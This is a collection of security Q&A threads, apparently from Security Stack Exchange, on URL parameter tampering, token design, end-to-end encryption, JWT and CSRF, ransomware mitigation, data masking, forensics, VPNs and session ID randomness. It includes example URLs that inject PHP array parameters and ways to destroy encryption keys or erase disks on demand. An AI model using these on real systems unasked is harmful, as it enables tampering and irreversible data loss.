Are hiding and obfuscating the URL parameter keys a protection against tampering? Does the use of mod_rewrite make PHP array injection (web parameter key tampering) impossible when the keys are unknown (and hard to guess)?

Let's say we have the following URL:

https://example.com/product.php?id=1&action=show

example.com decided to rewrite there URLs to a prettier version like:

https://example.com/product/1

Therefor they use the following RewriteRule:

RewriteRule ^/product/(.*)$ /product.php?id=$1&action=show [L]

Now the keys are id and action and those values are 1 and show. I understand the values will be rewrited, no protection is involved anyhow. Injections are still possible and so on. But the keys cannot be changed assuming they are unknown. In this example I used the guessable keys id and action but they could as well be two completely long and random keys.

Now my question is about the keys. I could inject one or multiple [] in the parameter to make that the value of that id an PHP array instead of string. Like this:

https://example.com/product.php?id[]=1&action=show

For a rewrited URL their is no way to do so unless you know the key. Am I right? In this example the following will still be possible because they key is easy to guess. The below example the URL will know have the key id two times and use the last one with the injected [].

https://example.com/product/1?id[]=1

But assuming the keys were not known and easy to guess. Let's say:

RewriteRule ^/product/(.*)$ /product.php?7b8d164d7820713ef5be524d2bde7828999c78d6=$1&28c4abba80b7a2038328e54a81f51367ead9172a=show [L]

I suppose that then there is no way to inject [] without knowing the keys.

Additionally, when you check the current URL in your PHP script for the characters ? and & you can prevent bypasses like https://example.com/product/1?id[]=1. In my opinion then array injection or altering the key is not possible anymore just the value can be changed. Right?

It will obfuscate the actual location of the script, but on it's own there is nothing preventing an attacker from guessing/dirbustings/etc the product.php file and accessing it directly. The attacker would have to then identify the correct parameter names (id & action). Once the attacker is accessing the file directly the rewrite rule does not apply.

So you could potentially raise the minimum effort required to attack your script, however you would need may rewrite rules and they are not very performance friendly so you could be introducing a denial of service condition in the process.


Why do services like Twitter have tokens and secrets for 3rd party apps? I noticed that if you have a 3rd-party Twitter app, you get an access token, and an access token secret, to communicate with Twitter.

Why are there two codes? Shouldn't one be enough?

Does this mean every 3rd-party app needs to have their own server that adds the token secret to the request? (Because if it were stored in the app itself, it could be decompiled and the secret revealed?)

One provides the identity, the other provides authentication.  Generally, the idea is that the identity can be given out to clients of the third party, but the secret is used for communication between the third party and the server.  The access token allows them to know which account it is associated with.  It's not really any different from having a username and a password.  I can tell you to send bob@mail.com an e-mail without you knowing Bob's password.  I'm not sure if this is specifically how Twitter handles it, but it's a fairly common situation for the application to have an identifier and a secret.


Asymmetric / end to end encryption for web messaging app Background

I'm trying to design a secure and sustainable web app for messaging.
The purpose is to learn how to create secure web application.

The application is suppose to be written in Javascript for web based clients and PHP for server-side.

Clients using the web application will log in to be able to use the service on a wide variety of devices.

Clients can then send messages to other users - securely without any middle hand being able to read the message in clear text. I don't want the server to be able to read the messages either, therefore the main encryption will have to happen client-side.

Thoughts

SSL/TLS - ensure valid communication with server
RSA - asymmetric encryption - for encrypting encryption keys
AES - to encrypt unknown amount of data, most commonly plain text

The whole application will obviously be built using SSL / TLS to allow secure and validated communication between the client and the server.

To ensure that only the intended parties get access to the sent data, asymmetric encryption is used. Every client has their own private keys stored client-side and their public keys stored on the server attatched to the user in a database.

When Alice wants to write a message to Bob, she encrypts the data with a strong AES key - since RSA can only handle a finite data size. To ensure that only Bob can read the message, she retrieves Bob's public key from the database and encrypts her generated AES key with it. The encrypted message is then sent to the server - along with the key used - encrypted with Bob's public key.

Bob retrieves this message / key pair from the server. Since Bob has the private key related to the used public key for encrypting Alice's message's key - he and only he can retrieve the used key in plain text. Using this unencrypted key he can then decrypt the main message and read it as plain text.

Concerns

The public and private key pair has to be generated server-side. This forces the private key to be sent to the user for use. How can this be made safe, since any middle-man can retrieve the private key to further use to decrypt all of Alice's messages.

To ensure that the server doesn't know what messages users send, it cannot have access / store the private keys. This forces the keys to be stored client-side - using Javascript, a language and platform rarely associated to security or secure data persistence. Since security is of my main concern, not properly storing the private keys is a major problem.

Let's say the user wants to log in and use the application from another device, then the private key has to 'magically' appear there as well. Forcing the server to store the private keys anyway. Is there any other way to do this encryption / key management?

Clarifying questions

If the above topics are too long to read, confusing or if you're just in a hurry, below are simplified questions.

How can I ensure messages being sent between can only be read by those two parties?

How can I ensure my users that I / the server or anyone else for that matter, can read their messages?

If their is a way of storing the private keys securely client-side, how bad is it?

I think there is an additional problem/challenge with your scheme:
Beside the problem of having the key pairs generated by the server, this scheme also allows for a man in the middle attack:
A asks for the key of B, server answers with his own key C. Now the server can decrypt, read and encrypt again for B and send the new ciphertext to B. Neither A nor B will ever notice as long as the communication is done using the server.
To prevent this, you need to decouple key management server and message server. In the best case, you would use an active community key server like the ones for pgp for example.

Anyway, assuming the key management is done honestly, your hybrid encryption should work out.

Concerning the key generation, have a look at CryptoJS.
If I remember correctly, it is (almost) a full-fledged crypto framework that can also generate keys. You could use html5's local storage API to store the key client-side.


How to make user token and where to store it (server side) I'm building an iPhone application and don't want the user to have to sign in every time they open the app, so I want to use user tokens. My question is is there a commonly accepted way to create user tokens? Also do I store the token in the database along side the username/password/email, do I create a new database just to hold the tokens or do I just read the token when the HTTPS request comes in and tell whether it came from me or not? Thanks!

Edit:
I plan on using JWT to handle authentication, but thanks for the input!

These user tokens you need sure sound a lot like cookies ;-)

Handling cookies is a hairy issue, and there's several approaches.

A usual one is a simple random string of characters. The user keeps it and you validate it against a hash in your database. Leaking this string would be really bad, be careful.

There's a common variation of this one: instead of a random string encode the user id and other session data and sign it (cryptographically), when the user presents it validate the signature and use the data from the cookie itself. This saves you a trip to the database.

A favorite of mine for native clients: HMAC tokens. You share a secret key with the client. The client uses this key to hash a nonce and a timestamp and sends the hash, the nonce and the timestamp to the server. The server performs the same calculations to validate the value received by the client.

This way the secret is sent over the wire only once, reducing risk of leakage. Well implemented it also reduces risk of replay attacks.

There's others. Perhaps you framework already supports one of them, in that case you might be better of with it.

Evaluate the different alternatives and if you need help deciding ask us.


Cryptolocker: can servers be protected? I'm IT in a small company. The network is about as ancient as most of the staff (at 30, I'm the company's youngest), and the staff also is notorious for spreading viruses around the network despite our best efforts of warning, virus prevention, and education.

And then ground zero finally hits. Our first machine is infected by Cryptolocker. Fortunately, it has no mapped drives, so only the machine was infected. But that leads me to my questions.

Is there a system minimum requirement for this thing to work? Silly as this may sound, we still run Windows 2000 in the network here (Server 2000 is our main DNS server), though most of the network runs XP and Server 2003. I couldn't find any evidence of their being a system minimum but I'm not about to rule anything out quite yet. I just know our linux and IBM boxes are safe.
This article on BleepingComputer has a lot of information about protecting personal computers (and linked network drives), but is there a way to protect the server itself? CryptoPrevent runs great on the client computers, but we'd like to preemptively protect our servers too. I'm not sure if there's a way to prevent server files from being encrypted from am infected client computer, but anything will help at this point.

This Reddit thread reports "Windows XP through 8 have all reported infections." I suppose it's possible that Win2k and earlier may not be affected - a search through the top 500 comments in that thread has no mention of Windows 2000, and only a single post on BleepingComputer alludes to a Win2k machine. (As an aside for other readers, Windows 2000 has been end of life since July 13, 2010 - so there have been no security patches for 3 years now.)
Assuming you can't run a prevention tool on your servers, and you can't change the access controls, then prevention is very difficult. However, you can mitigate very easily by modifying your existing server backup policies (you do have backups, right?) Extend the backup retention period, increase backup frequency, and increase full snapshot frequency. That way, even if you do get an infection, the damage is limited to any changes made since the most recent snapshot.


Authentication with JWT I am building SPA (React/Redux) and require user authetification. I have found similar discussions, but haven't found answers for questions I outline below. Here are some options I found to implement:

Option 1: Keep JWT in localStorage

CSRF attack: Not vulnerable, as cookies are not used.

XSS attack: Vulnerable. Any JS code in front-end will be able to steal the token and send it to attacker. With Content-Security-Policy enabled, attacked can't steal/send to himself jwt, but still can  make request directly from client browser.

Option 2: Keep JWT in cookie (secure and http-only)

CSRF attack: Vulnerable. Client can follow malicious website, which will make sneaky request, cookie attached, requst succeed.

XSS attack: Vulnerable. Cookie can't be read by JS, but through JS attacker can just make requests to valid back-end, cookie automatically attached and all request will succeed.

Option 3: Keep JWT (with xsrf_token set) in cookie + keep xsrf_token in localStorage/JS-readable cookie

Solution is based on this and similar to Double Submit Cookies Method

CSRF attack: Not vulnerable. If client follows malicious website, which makes sneaky request, that request will be dropped, as xsrf_token was not passed from client's browser alongside cookie. And, as cookie is not visible to attacker (comes directly from client browser), he can't make fake xsrf_token to attach with request.

XSS attack: Vulnerable. xsrf_token in localStorage/JS-readable cookie can be read by attackers JS. So, an attacker will be able to make malicious request directly from his injected JS from clients browser.

Originally, I wanted to use option 1. But have been concerned with XSS, so started looking for alternatives.This article and number of others advise against localStorage, and recommend to use Cookie + CSRF protection.

Option 3 seems like the popular solution, from collected data, but still has XSS just like option 1 - injected JS can make malicious requests directly from client browser. The only benefit is that in option 1 JWT encoded data is readable by user/attacker, while in option 3 it's not (as stored in cookie). Related question

Q1. Are there any other benefits of Option 3 over Option 1?

Q2. If I go with Option 3, am I introducing some other attack vectors, that I havent't considered yet?

Q3. Is there any other way of CSRF mitigation, instead of keeping state in front-end (localStorage/sessionStorage/Redux store/JS-readable cookie) which is always vulnerable to XSS?

I know there is no one magic bullet in security. But perhaps there are some other approaches/options to this problem? To remove XSS, you need to go full cookie mode. But to go cookie only, you need to have xsrf_token anyway in user front-end (localStorage/sessionStorage/Redux store/JS-readable cookie), which is XSS vulnerable. This seems like catch-22 problem.

Let's begin with the easy part: Option #2 is a non-options. It comes with no CSRF-protection, so it is inherently vulnerable. Actually, option #3 is pretty much option #2 with CSRF-protection on top. So you are right to focus your question on the choice between #1 and #3.

  Are there any other benefits of Option 3 over Option 1?

Not really. And the I'm not sure the benefit you mention - being able to protect the JWT with the Http-Only flag - is that big of a benefit.

Being able to steal the JWT is convenient for the attacker, since she can then do whatever she wants to do from her own computer. But given a XSS vulnerability, anything she could do on her own computer with the JWT she can also do from the victims computer using injected scripts. That might be a bit more annoying for the attacker, but it would not stop a determined adversary.

So in the end, I think the choice between #1 and #3 mostly is one of personal preference. I personally like #1 better, because I find it cleaner and more straight forward. Plus it takes care of the CSRF situation in a neat way, without me having to lift a finger.

  If I go with Option 3, am I introducing some other attack vectors, that I havent't considered yet?

Maybe.

Generally, one weakness with the double submit cookie pattern is that it allows for subdomain attacks. This is somewhat mitigated by the use of a JWT. Since it is signed, a sibling domain could not rewrite that cookie. But (at least in some browsers) a sub domain could read it and hence perform a CSRF attack. Using a HTTP header rather than a form field for the double submit would make this attack much harder, if not impossible (barring something like a Flash exploit).

Note that the security of this option completely relies on you getting the CSRF proteciton right.

  Is there any other way of CSRF mitigation, instead of keeping state in front-end (localStorage/sessionStorage/Redux store/JS-readable cookie) which is always vulnerable to XSS?

No. If you're vulnerable to XSS, all CSRF protections goes out the window. And it doesn't really matter. Because if I can do XSS, I have no need for CSRF anymore. So trying to come up with a way to protect from CSRF in case of XSS is not only impossible, it's also pointless.

Every minute you spend thinking about how to protect your CSRF token in case of a XSS attack is a minute you should have spent trying to stop XSS attacks instead.


PII Data Masking rules - what's acceptable and what's not Is there a security rule on correct masking for sensitive information? Let's say we want to use prod data in our UAT environment. We're thinking of creating a masking logic when we transfer prod data to UAT. Changing the fields would look something like this:

Names:
e.g. John Doe to JXXXXXe

Mobile Number
e.g. +1-234-56799101 to X-X-XXXX9101

Birthdate
e.g. 05/23/1987 to 05/XX/XXXX

etc.
Is there a standard on acceptable masking logic?

Just to literally answer your question, "is there a standard?.." - yes, for USA it is NISTIR 8053.
More specifically - you can de-identify or anonymize your data, depending on the nature of your dataset and the UAT. The difference is:

De-identification of data refers to the process of removing or obscuring any personally identifiable information from individual records in a way that minimizes the risk of unintended disclosure of the identity of individuals and information about them.
Anonymization of data refers to the process of data de-identification that produces data where individual records cannot be linked back to an original as they do not include the required translation variables to do so.

There are many methods that you can use, such as masking, shuffling, randomization, etc. Again, use whatever is appropriate for your use case.


Is there any encryption mechanism where i can ensure that the decryption can only happen within my data center? I have a requirement where i need to store confidential data in an encrypted format in the url, i understand POST with body is better approach but it is not an option for me. I am thinking of using a pass phrase based AES 128 bit encryption for encrypting the query string parameter. The concern i have is that the url could get cached in different parts of the internet and if the pass phrase is exposed somehow then it could be used to decrypt these values. Are there any encryption mechanisms which allow to decryption to happen only within our infrastructure? Is there a way to tie the decryption to our infrastructure along with the key so that even if key is lost nobody outside can decrypt it?

All decryption is only possible if you have the key (or sufficient computing power and time). If you want to be sure that the key never leaves the infrastructure, buy a Hardware Security Module (HSM) (Thales, Utimaco and some others). These are  hardware devices that allow you to do the decryption. There are many types, some (many?) including tilt and motion sensors.
But at some point, you might want to rethink your strategy. HSMs are really a niche market, and in my 25+ years experience, I've seen just 1 case where they were really necessary.
If you pass data over the Internet, surely the goal of that data sharing would be that the other party can use that data? Then, if the data at the other party is "exposed somehow", all is lost anyway.
Or do you just not want that the data leaves the data centre? In that case: try using a stand-alone  system.
If you're communicating with a single (or limited number) of partners, symmetric keys would also be an option. Key management would be doable.


Windows Phone 8.1 Forensic Artifacts I cannot find any potential tool or technique to do windows phone 8.1
  forensics after lot of searching.

I tried to make the image (.dd) of windows phone 8.1 with Linux commands but it fails, Because the windows phone 8.1 has attached as a media drive not as a storage or a simple drive like hard disk or thumb drive.

And it is the rule of digital forensics that if you want to do forensics of digital evidences then first of all you have to make an image of the digital device(s) than start working on it.

And I also gather some information about the Windows phone 8.1 as follows:

  Windows Phone 8 uses BitLocker Technology to support the
  encryption of all internal data storage on the phone with AES 128.
  Encryption is enabled by either Exchange ActiveSync policy Require
  Device Encryption or device management policy.
  It uses FAT file system.
  Cannot root.

Any possible way to take physical or logical dump of windows phone 8.1.

No expert but I do know that WP8 does indeed use bitlocker and also uses hardware encryption where possible.

So I doubt that you can obtain a usable dump from a standard phone.

Having been involved with a hardware problem on the Nokia phones recently, all I can say is that the engineers use special debug versions of the OS to do hardware level logging and debugging.

I think that you need to contact Microsoft to find out more. I would see if you can track down a tech blog from Microsoft that covers the phone and see if you can reach out to them. They are a lot more responsive generally than they used to be. If you have enterprise support, you could also raise a query via your TAM.


Being connected to a trusted VPN, do I still need personal firewall, and if so, why? Background

Hardware: Dell Inspiron 15 Gaming 7577-92774 with recent BIOS (16-Aug-2018)

Operating System: Windows 10 Pro, version 1803 (Build 17134.285)

Antivirus / Firewall: ESET Smart Security Premium

VPN Provider: Not that I don't trust you, I don't trust anyone, therefore I won't disclose this information

VPN Client: I use their Windows client which proved to work flawlessly

VPN Firewall: They offer their own firewall protection and I have it enabled

Question

Being connected to a trusted VPN, do I still need personal firewall, and if so, why?

By trusted, I mean I relatively trust the VPN provider, no matter that it is highly opinion-based.

Please stick to the question at hand.

The 'trusted VPN' client cannot be given full autonomy unless you have reviewed the source code yourself. However, a VPN client with a kill switch is a must if you intend to not use a firewall. This kill switch should either upon disconnect, disable the chosen networking interfaces (those which can access the Internet), or change/enforce firewall policies, so that when the VPN client is active no outbound traffic is allowed, except via their preapproved IP addresses (those which the VPN provider controls), this will then prevent packet and 'true' IP address leakage upon disconnect.

While the VPN client's kill switch via firewall policies will work differently on Windows than on Linux, which uses iptable. Instead, on Windows, often the VPN client will enforce the policies when active via their own firewall. If this occurs, instead of enforcing these firewall policies via Windows Firewall, it causes packet and 'true' IP address leakage if the VPN client is to ever crash.

I can only foresee a firewall and VPN being used together to mitigate packet leakage, do not interpret this as 'I do not need a firewall' as other applications may require one. The above point about the VPN client crashing and the kill switch failing is the main reason I use Linux in this regard. But, this is not required. Instead, you may enforce the firewall policies manually within Windows Firewall. First, create a virtual interface, you will share Internet access to this interface and connect your VPN here.

Second, Setup firewall policies for the virtual interface to ensure only the VPN's induction nodes are allowed, in the event of no VPN connection, the firewall will not allow any outbound traffic. Third, enforce firewall policies denying all inbound and outbound traffic except the virtual interface, for the interface with Internet access.

See, Creating a virtual NIC that connects to the same network as physical NIC for the technical configuration.


How to ensure privacy on a remotely hosted server? (Copied from Software Engineering as suggested)

If I have written a privacy tool as a .NET web application which is to be hosted on a commercial hosting site, other than hosting it in a privacy friendly country, how can I assure users that the application has not been compromised by a third party at the host?

Obviously SSL will be used, retained data will be strongly encrypted and the assemblies will be as obfuscated as possible, but these can only go so far.

I'm not concerned with hacking or legal challenges here, I'm specifically talking about physical intervention at the server location relating to modification of the site to capture user info.

For example, is there a way I can ensure that my assemblies haven't been wrapped to intercept plain-text credentials passed to an API?

Update

I could maybe give an option for the user to supply their credentials already encrypted using my public key. This then opens the door to other options, like a 2-way handshaking type thing.

Are there any more elegant options?

If you cannot guarantee you are the only one who has access to the server itself you cannot ensure privacy to your users.

Wrapping an assembly is not necessary if someone who has access to the server wants to steal plain text credentials. They already have access to the server and thus access to the private key of the certificate. They could create a "legitimate" (to the end user at least) reverse proxy where they will terminate SSL and inspect plain text traffic. Using asymmetric encryption will not help either. Access to the server will grant access to the private key too.

One thing to consider if you have web hosting platform you can't (or don't want to) trust is to use client side encryption. But you can't do it in browser (JavaScript). Please see this for detailed explanation of problems related to browser encryption. In a nutshell, you can't trust JavaScript code that is served from a non trusted web host.

One possible solution is to use browser extensions. You can sign the extension with your own code signing certificate and thus users can verify the code came from you and it is not tampered with.


Loopholes in secured file server My system to share private data works like this:

I rent a virtual server at a hosting company.

There I have a self-signed certificate installed.

The folder with the files inside is password protected via htaccess file

AuthType Basic
AuthUserFile /path/.htpasswd
Require valid-user

passwords are salted in htpasswd.

It is for downloading files I uploaded.

So SSL check, Password check.

You enter the url of the file and are prompted to accept the certificate and enter the password and username. If right, you get the file.

Which loopholes do you see I should fix?

I rent a virtual server at a hosting company.

You are ultimately trusting this company, as it has unlimited access to all your data. Choose wisely, e.g. put more value to the security and privacy than to the price.

  There I have a self-signed certificate installed.

A certificate is only for authentication; it doesn't tell anything about the encryption used for the connection. Use only current TLS versions with recommended strong ciphersuites i.e. TLS 1.2 with RFC 7525, 4.2 or TLS 1.3 with its mandatory ciphersuites from RFC 8446, 9.1.

If others are using your service, consider using e.g. a free Let's Encrypt certificate instead of a self-signed one, as the authentication would then use a public-key infrastructure (PKI) and be automated; if people are supposed to check the certificate manually, they'll just accept any certificate.


Which implementation of Salsa20 should I use? I would like to use a secure stream cipher algorithm for my application as RC4 is know to have multiple vulnerabilities, I turn myself toward Salsa20.

OpenSSL is my reference for cryptographic algorithms implementation but this time I can't see anything related to Salsa20 on their website.

Where can I find a trustable implementation in C of the Salsa20 stream cipher ?

If you're already using OpenSSL in your application, version 1.1.0 has the ChaCha20 cipher, which is a newer, improved Salsa20 variant designed by the same author (Daniel J. Bernstein).  So I would consider using that.

If you're not using OpenSSL already, you might want to consider NaCl or Sodium instead, which are much easier to use safely.  For example, they focus on providing high-level public-key AEADs (authenticated encryption with associated data) instead of just low-level crypto primitives like stream ciphers and MACs.  These libraries use Salsa20 internally.


Can any malware access the OSX keychain data I'm working on a security project. I have sensitive data that I would like to store in OS X's keychain. I'm able to add the data programmatically into the OS X keychain by using RHKeychain. But after doing a lot of research, it appears that OS X keychain data can also be accessible (1, 2, …) by malware.

Is OS X keychain data accessible by malware?
If Yes, what is the best approach to secure OS X keychain data?
What is the best approach other than the OS X keychain?

The important words in the articles you quote are "root access". The core of MacOS X is a Unix derivative, and "root" is Unix terminology for God. Or, at least, the super-privileged identity that can do anything. Well, it indeed can. If you think of your computer as a small country, and the attacker has some outsider intend on invading it, then a malware with root access is equivalent to all your army's commanding staff really being agents in league with the attacker. Needless to say, a malware with root access is really a malware who totally owns your computer (and that's no longer "your" computer).

MacOS X tries, like other operating systems, not to allow malware at all, and, if it still enters the computer (by exploiting the human user's gullibility), not to grant it root-like privileges. That's why system administration operations ask for your password: that's an extra layer of safety enforced by the OS before actually giving temporary root privileges to a piece of software. This is the point where the user should ask himself: "Hey, why would such privileges be required by that application ? This looks fishy."

Since an average human user will jump through arbitrary hoops if he is intent of delighting in, say, a screensaver full of cute kitten pictures, such protections are not very strong in practice. However, one cannot really have anything better than the protection level offered by Keychain, as long as the user's computer is still the user's computer. The alternative model is that which is used by the iPhone/iPad line of products: the user can physically touch the hardware, but it remains under Apple's control; only Apple-approved applications can be installed, and there is no way for the user to obtain or grant root privileges.

So, if you "need to fulfil actions", then, basically: either accept that a user can do stupid things on his own computer, and Keychain is about the best possible prevention against it; or make it so that the user's computer is no longer the user's computer (i.e. give him an iPad, not a MacBook).


If I find or create a 0day exploit, can I be held liable for releasing out to the public? If I found or created a 0day and decided to immediately release it into the wild (Giving a P.o.c w/ source). But not using it to actually exploit anything. Can I be held liable for it?

First, I'm not a lawyer. Second, this completely depends on your local laws. I can only speak for my limited experience with UK and US law.

In most countries, you're covered by free speech laws, assuming the information you're releasing isn't protected by some form of non-disclosure agreement, and isn't classified as a military secret. If you found the 0day as part of a test you performed whilst hired by the company, you're likely to be restricted by contractual obligations (e.g. an NDA). Any form of information that is classified by a government as secret will be covered by a statute (e.g. the Official Secrets Act in the UK, or the Espionage Act of 1917 in the USA), which makes distribution of that information illegal. For private cases where you have no affiliation with the company that produces the software, you're usually not liable. You're releasing investigative information about one of their products, which you should be entitled to do as part of standard free speech legislation.

However, this isn't to say that you'd be 100% off the hook in private cases. Depending on the situation, a company might decide to proceed with a civil suit to claim for damages. I'm not aware of any such successful cases, but it's something to consider.

In the end, it's always best to follow Wheaton's Law: "Don't be a dick!" - practice responsible disclosure and maintain a good relationship with the vendors that you contact. It could end up being very lucrative from the point of view of both rewards and employment prospects.


Duress capability to clear hard drive encryption keys making disk unrecoverable in Windows? I need to create a "duress" capability on a Linux-based and a Windows-based computer that have encrypted drives.  I assume the easiest and quickest way would be to blow away the keys.  On the Linux, LUKS encryption has a simple command to clear the key slots making the drive unrecoverable.  Is there a disk encryption tool for Windows that provides a method to clear the key slots, or perhaps a way to clear the TPM?

You can use the Clear-Tpm Powershell commandlet to do this programmatically, rather than using the TPM management control snap-in.

You could also use ATA Secure Erase on any modern SSD. This tutorial shows you how to trigger an ATA secure erase command on Linux. For Windows you'd need to write your own code to send the ATA commands to the disk - you'll need to consult the ATA command reference (section 1.8 explains how to use SECURE ERASE) and do some DeviceIoControl calls to execute those commands.


Why don't we use single input authentication? Two input authentication uses both username (may be available publicly) and password (kept secret).

For the sake of comparison, assume the length of username is the same as the length of password, i.e., n characters. Also assume we can only use case insensitive letters from a to z. If both username and password are kept secret then at most we need 26^(2n) trials to pass the authentication.

Now consider a new authentication system with only one single input, i.e., password that is kept secret of length 2n. The allowed characters are case insensitive, spanned from a to z. This system also needs 26^(2n) trials to be passed.

Questions

Why don't we use single input authentication?

When signing up for a service, you have a good chance of getting "This name is already in use, choose another" - or something to that effect.

In the system you propose, this would tell you that the access code is in use - great, open a new browser and log in with this access code! You've just hijacked somebody else's account.

You could find any number of existing access codes, just by trying to change your own.

Also, what if you forgot your access code? This can be mitigated if the system knows your e-mail address and can send you a new access code, but then you'd be close to a two-input authentication; you might as well use your e-mail to log in then.


Client certificate for 2 way SSL works in some programs, and fails in most I am trying to establish 2 way SSL connection with remote server and I have received certificate to connect. Can somebody explain behaviour described below.

I am able only to use it with SOAP UI which uses Java SSL libraries.

However all other software such as browsers and .Net applications fail.

Chrome returns this error: ERR_SSL_CLIENT_AUTH_SIGNATURE_FAILED .

Firefox returns: Certificate contains unknown critical extension. (Error code: sec_error_unknown_critical_extension)

.Net app fails when trying to send client certificate.

In event log (on client side) I get audit failure with ID 5061 in both for .Net and Chrome:

Subject:
    Security ID:        IIS APPPOOL\ASP.NET v4.0
    Account Name:       ASP.NET v4.0
    Account Domain:     IIS APPPOOL
    Logon ID:       0x34e817

Cryptographic Parameters:
    Provider Name:  Microsoft Software Key Storage Provider
    Algorithm Name: RSA
    Key Name:   Key Name
    Key Type:   Machine key.

Cryptographic Operation:
    Operation:  Sign hash.
    Return Code:    0x80090028

Return code 0x80090028 translates to NTE_BUFFER_TOO_SMALL (from MSDN)

I have also attempted to start my own server (IIS) and send this certificate to server.
I sent two certificates signed by same CA, and for other one it worked fine and for the problematic certificate it returned:

HTTP Error 403.7 - Forbidden

The page you are attempting to access requires your browser to have a Secure Sockets Layer (SSL) client certificate that the Web server recognizes.

EDIT: I tried to access WAS server on Windows which also requires 2way SSL.

In this case communication is established when I send certificate from file, but fails the same way when loaded from the store.
Original server returns handshake failure when certificate is sent from file (some linux configuration, but I do not know the details).

EDIT2:
Lines from network.log after trying to load certificate from store:
Network log contains following lines:

System.Net Information: 0 : [11620] SecureChannel#22469803 - Certificate is of type X509Certificate2 and contains the private key.
System.Net Information: 0 : [11620] AcquireCredentialsHandle(package = Microsoft Unified Security Protocol Provider, intent  = Outbound, scc     = System.Net.SecureCredential)
System.Net Information: 0 : [11620] InitializeSecurityContext(credential = System.Net.SafeFreeCredential_SECURITY, context = 5455730:20410a0, targetName = <target_host>, inFlags = ReplayDetect, SequenceDetect, Confidentiality, AllocateMemory, InitManualCredValidation)
System.Net Information: 0 : [11620] InitializeSecurityContext(In-Buffers count=2, Out-Buffer length=0, returned code=InternalError).

The Firefox error is likely the key to the issue. It looks like the cert you have been given is tied to the API implementation using a custom critical extension. The x509 spec requires users of a cert to fail the operation if they encounter an extension marked critical that they do not understand. More info in rfc 5280
Look at the problem cert with openssl x509 -in certfile.pem -text
and look for a custom extension that is marked critical.
All the other failures you are seeing are just those systems trying to cope with the required error from the spec.


Is it enough to change only the MAC address of a VM to enhance anonimity? I'm learning a bit about Kali linux, and I heard that it is a good practice to change the MAC address of your Kali VM so that no particular action can be traced to you (at the link level).
However, as far as I understand, changing the MAC address of your VM simply hides the internal MAC, but to the router, the requests look like they come from the host of the VM, so it doesn't make sense not to change the MAC address of the host as well.

Therefore, my question is

  Does it make sense to only change the MAC address of the VM?

I'm a newbie with these things, so I apologize for the silly question.

I heard that it is a good practice to change the MAC address of
  your Kali VM so that no particular action can be traced to you (at the
  link level)

To rephrase, changing the MAC address may make it harder for the network administrator to identify who is behind any actions they are monitoring. It has no effect beyond the router/gateway, as you have noted.

The result and effectiveness of changing the VM's MAC address will vary widely depending on the configuration of the VM and host's networking. Some of the following may vary between hypervisor but should be true in general.

NAT VM Adapter

If the VM is on a NAT'd network provided by the host machine, changing the VM's MAC address has no effect for your purposes, as the "real" network is already behind a router (your host), so the "real" network will only see the host's MAC address.

Bridged VM Adapter

A bridged adapter places the VM directly on the same network as the host, often by using a custom driver that can inject packets onto the network and retrieve them as well. In this case, the VM will have its own MAC address that is independent of the host. In this case, changing your MAC address should have the desired effect.

One caveat is with regards to wireless networking. If the bridged adapter in use is a wireless adapter, the host will substitute the source MAC with its own (the MAC address is used in 802.11; the wireless access point would not recognize frames from the VM's MAC address as there is no such authenticated client). In this case, it would not help for what you want.

USB Adapter

Finally, if you are using a USB network adapter that is passed through to the VM, wired or wireless, it is completely independent from the host and will work as expected for your purposes.


How to evaluate the security level of session ID generation? For a few weeks we observed a collision in session ID generation, resulting in two operators independently connected to a test web application sharing the same session. We investigated the issue and exercised the session ID generation to generate between 500 000 and 1 000 000 session IDs with various generation settings. Some settings are deliberately bad, to obtain some references of bad values.  The result of this experiment is 5 files holding Session IDs (hexadecimal strings), one on a line, each file holding between 500 000 and 1 000 000 records.

Which numerical indicators can I derive from these series and use as a proxy of security quality which means for me (1) knowing how unlikely are collisions and (2) how hard is session prediction.

Following your comments, it seems strange you got duplicates if you are actually using /dev/urandom as entropy source and sufficiently long session IDs.

Are you sure that PHP is correctly configured? As of PHP 5.4.0, PHP defaults are now secured, but it happens that some historical server settings remains over time and decrease the security compared to current defaults (PHP may not be actually using /dev/urandom, or it may gather to few entropy from it),
Are you sure that the issue hasn't been caused by a third party issue, like unvoluntary session fixation ? Such a bug for instance could occur if the session ID can be passed as URL parameter, and that URL containing the session is shared by some way, either explicitly (URL sent from one person to another) or by some unexpected way (content caching at the server or a proxy for instance).

/dev/urandom can be generally considered as a trusted entropy source. If by any chance you still want to investigate it, you can use ENT tool for this purpose. You can find a usage example on this page.

A quick an dirty check on your file would be to ensure that there was at least no collision encountered during your session ID generation test:

LC_ALL=C sort /path/to/sample_file | uniq -d

Replace /path/to/sample_file with your actual file containing your generated session ID, it should output all duplicated entries. Under normal circumstances it should therefore produce no output.

Testing the actual security quality of these files would be more tricky. A session ID must not only be unique, but it must not be predictible, this means that it should be evenly and randomly spread over a sufficiently large space of possibilities. This may be difficult to properly demonstrate. As said in my comment, there has already been a discussion on such topic, and while some web application security tools offer session ID analysis, the conclusion seemed that the most reliable way remains to analyse the application code and configuration itself.


Default GW IP address shared with management interface IP: any securirty implications? Building out separate VLAN for management interfaces.
The proposition is to use Default GW IP address as a management interface for network device.
Any security concerns?

Generally, the accepted best practice for management interfaces is to segregate them into their own VLAN and apply filtering so that only certain whitelisted (read jump boxes) are authorized to communicate with devices via the management interface.

The security concern is that many times management interfaces have:

Known vulnerabilities (e.g., HP SMH which seems to have a new one every week)
Weak or default passwords
Few controls to prevent bruteforce attacks (e.g., fail2ban, lockout windows, etc)
Devastating impact availability if compromised.


Container Vulnerability Management Having difficulty understanding how to translate 'traditional' vulnerability management to a cloud environment. Previously accustomed to using tools like OpenVAS and Nessus, setting up scans which target static IPs and CIDR blocks. This approach does not appear to lend itself well to a modern cloud environment from what I understand due to the large number of scalable containers and ephemeral IPs.
When the production environment uses tools like Kubernetes and Docker, what is the recommended approach here? I am aware of container image scanning, but wouldn't we want to still scan a live deployed host? I do not believe it would make sense to scan everything due to replication but please correct me if I am wrong here.
I haven't found a lot of documentation that covers this topic well, nor tooling to support my thought process which makes me question if I am thinking about this all wrong. Do container image scanners actually run a full deployment and report the vulnerabilities found at each layer? Each completed build? Does the scan only scan the built image or does it actually scan a container as well?

There isn’t really a good approach yet — not even from the vendors that say that they address this space. I have turned to the literature (e.g., learning.oreilly) which does mention JFrog but fails to mention Twistlock (although mentions Sysdig). I have seen other spaces (e.g., katacoda) provide trial runs of Kubernetes vulnerability detections and remediation/countermeasures such as Polyverse and Quay’s Clair
Cloud containers also brings FaaS into question, and there are some services in the coursework you’ll hear of such as PureSec FunctionShield, but this doesn’t cover all bases
